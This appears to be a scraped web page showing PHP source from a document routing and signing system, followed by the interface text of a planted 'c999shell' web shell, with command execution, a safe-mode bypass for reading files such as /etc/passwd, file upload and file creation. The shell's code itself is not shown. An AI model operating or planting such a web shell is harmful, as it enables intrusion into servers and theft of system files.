//echo "endDoc=".$oDoc3->endDoc."<br>";
                    
$oDoc3->sendToPs=$oDoc3->sendToPs;
                    
//echo "sendToPs=".$oDoc3->sendToPs."<br>";
                    
$oDoc3->AnID=$AnID;
                    
//echo "AnID=".$oDoc3->AnID."<br>";
                    
$oDoc3->DocRefAns=$oDoc3->DocRefAns;
                    
//echo "DocRefAns=".$oDoc3->DocRefAns."<br>";
                    
$oDoc3->DocRefAnsID=$oDoc3->DocRefAnsID;
                    
//echo "DocRefAnsID=".$oDoc3->DocRefAnsID."<br>";
                    
                    
if($firstpost=="1" && ($AnID!="" && $AnID!="0")){
                        
$DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                        
$DocendDatePost=splitDateForm($DrsendDatePost,"/");
                        
//echo "DocstartDatePost1=".$oDoc3->DocstartDatePost."<br>";
                        //echo "DocendDatePost1=".$oDoc3->DocendDatePost."<br>";
                    
}else{
                        
$DocstartDatePost=$oDoc3->DocstartDatePost;
                        
$DocendDatePost=$oDoc3->DocendDatePost;
                        
                        
                    }
                    
$oDoc3->DocstartDatePost=$DocstartDatePost;
                    
$oDoc3->DocendDatePost=$DocendDatePost;

                    if(
$firstpost=="1"){
                        
$oDoc3->DocMainPost="Y";
                    }else{
                        
$oDoc3->DocMainPost=$oDoc3->DocMainPost;
                    }
                    
//echo "DocMainPost=".$oDoc3->DocMainPost."<br>";
                    
$oDoc3->DocGetPost=$oDoc3->DocGetPost;
                    
//echo "DocGetPost=".$oDoc3->DocGetPost."<br>";
                    

                        
if($DocShowIn=="1" && $DocShowOut=="2"){
                            
$addDocShowInOut="3";
                        }else{
                            if(
$DocShowIn=="1"){
                                
$addDocShowInOut=$DocShowIn;
                            }else if(
$DocShowIn=="2"){
                                
$addDocShowInOut=$DocShowIn;
                            }
                        }

                    
$oDoc3->DocShowInOut=$addDocShowInOut;
                    
//echo "DocShowInOut=".$oDoc3->DocShowInOut."<br>";
                    
$oDoc3->DocDateGetPost=$oDoc3->DocDateGetPost;
                    
//echo "DocDateGetPost=".$oDoc3->DocDateGetPost."<br>";
                    
$oDoc3->useMainDocNo=$oDoc3->useMainDocNo;
                    
$oDoc3->DocforSign=$oDoc3->DocforSign;
                    
$oDoc3->Save();
                    
//    if(!$checkflagCommit){ $flagCommit=$checkflagCommit;  echo "grtgtg"; }        
        
}
        if(
$showsendtops=="Y"){
            
//-----SendToPs
            
$oStmp->SearchByDrsID($DrsID);
            while(
$oStmp->GetRecord()){
            
//echo $oStmp->PsID."<br>";
                    
$oRs5->AddNew();
                    
$oRs5->DrsID=$oRs5->GetNextCode();
                    
$oRs5->DocID=$DocID;
                    
$oRs5->DlcID="0";
                    
$oRs5->DsID=0;
                    
$oRs5->personId=$oStmp->PsID;
                    
//echo "send person=".$oRs5->personId."<br>";
                    
$oRs5->PtID=$PtID;
                    
$oRs5->DrsDocTypeNo=$oRs4->DrsDocTypeNo;
                    
$oRs5->DrsReceiveDate=$timesend;
                    
$oRs5->DrsReceivePersonId=$oStmp->PsID;
                    
$oRs5->DrsSendDate=$oRs5->DrsSendDate;
                    
$oRs5->DrsSendPersonId=$oRs5->DrsSendPersonId;
                    
$oRs5->DrsSendDlcID=$oRs5->DrsSendDlcID;
                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                    
$oRs5->DrsDocDueDate=$speedDate;
                    
$oRs5->DrsDlcIDCreate=$DlcIDlogin;
                    
$oRs5->DrsPsIDCreate=$personId;
                    
$oRs5->DrsPropose=$DrsSend;
                    
$oRs5->DrsSign=$oRs5->DrsSign;
                    
$oRs5->DrsFromDrsID=$oRs4->DrsID;
                    
$oRs5->DocGroup=$DocGroup;
                    
$oRs5->DrsflagRead=$oRs5->DrsflagRead;
                    
$oRs5->DrsByPass=$oRs5->DrsByPass;
                    
$oRs5->DrsSend=$oRs5->DrsSend;
                    
$oRs5->DrsSendToPs="Y";
                    
$oRs5->DrsDelete=$oRs5->DrsDelete;
                    
$oRs5->DrsMainPs=$oRs5->DrsMainPs;
                    
$oRs5->AnID=$AnID;
                    
$oRs5->DrsDocReceiveDate=$oRs5->DrsDocReceiveDate;
                    
$oRs5->DocRefAnsDate=$oRs5->DocRefAnsDate;
                    
$oRs5->DrsSendDocNew=$oRs5->DrsSendDocNew;
                    
$oRs5->DrsInboxID=$oRs5->DrsInboxID;
                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                            
$oRs5->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                            
$oRs5->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                        }else{
                            
$oRs5->DrsstartDatePost=$oRs4->DrsstartDatePost;
                            
$oRs5->DrsendDatePost=$oRs4->DrsendDatePost;
                            
                    }
                    
$DrsReadDoc=GetDrsReadDoc($DocID);
                    
$oRs5->DrsReadDoc=$DrsReadDoc;
                    
                            
$checkflagCommit $oRs5->Save();
                            if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
            
            }
        }

        
        
$oStmp->SearchByDrsID($DrsID);
        while(
$oStmp->GetRecord()){
                
$oStmp->Delete();
        }
        
    if(
$flagCommit)
        
$oC->CommitTrans();
    else
        
$oC->RollbackTrans();        
        
        if(
$cansend=="Y"){
            echo 
"<meta http-equiv='refresh' content='0; URL=signDoc.php'>";
        }else{
            echo 
"<meta http-equiv='refresh' content='0; URL=sendDoc.php'>";
        }
}
?>


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.019 ]--